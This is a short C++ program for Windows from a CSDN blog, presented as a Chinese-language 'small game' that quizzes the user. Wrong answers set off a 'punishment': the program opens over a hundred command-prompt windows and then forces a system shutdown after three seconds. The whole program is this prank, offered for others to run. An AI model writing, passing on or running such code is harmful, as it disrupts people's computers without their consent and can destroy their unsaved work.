#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int a,b,c;
void OK(){
system("cls");
cout<<"你时不时有饼?\n(1:yes 2:NO)\n";
cin>>a;
if(a==1){
cout<<"您以通关!";
}else{
system("cls");
cout<<"那就给点小惩罚吧"<<endl;
cout<<3<<endl;
Sleep(1000);
cout<<2<<endl;
Sleep(1000);
cout<<1<<endl;
Sleep(1000);
int i=0;
while(i<=100){
system("start cmd");
i++;
}
cout<<"是不是感到心烦意躁?\n 好的,满足你,让你轻静一会\n再见!";
system("shutdown -s -t 3");
}
}
int main(){
cout<<"请如实回答\nOK?\n(1:好的 2:想多了)";
cin>>a;
if(a==1){
system("cls");
OK();
}else{
system("cls");
cout<<"那就给点小惩罚吧"<<endl;
cout<<3<<endl;
Sleep(1000);
cout<<2<<endl;
Sleep(1000);
cout<<1<<endl;
Sleep(1000);
int i=0;
while(i<=100){
system("start cmd");
i++;
}
system("cls");
cout<<"是不是感到心烦意躁?\n 好的,满足你,让你轻静一会\n再见!";
system("shutdown -s -t 3");
}
return 0;
}
标签:std,OK,cout,system,c++,小游戏,include,cls
From: https://blog.csdn.net/2302_79256121/article/details/136970573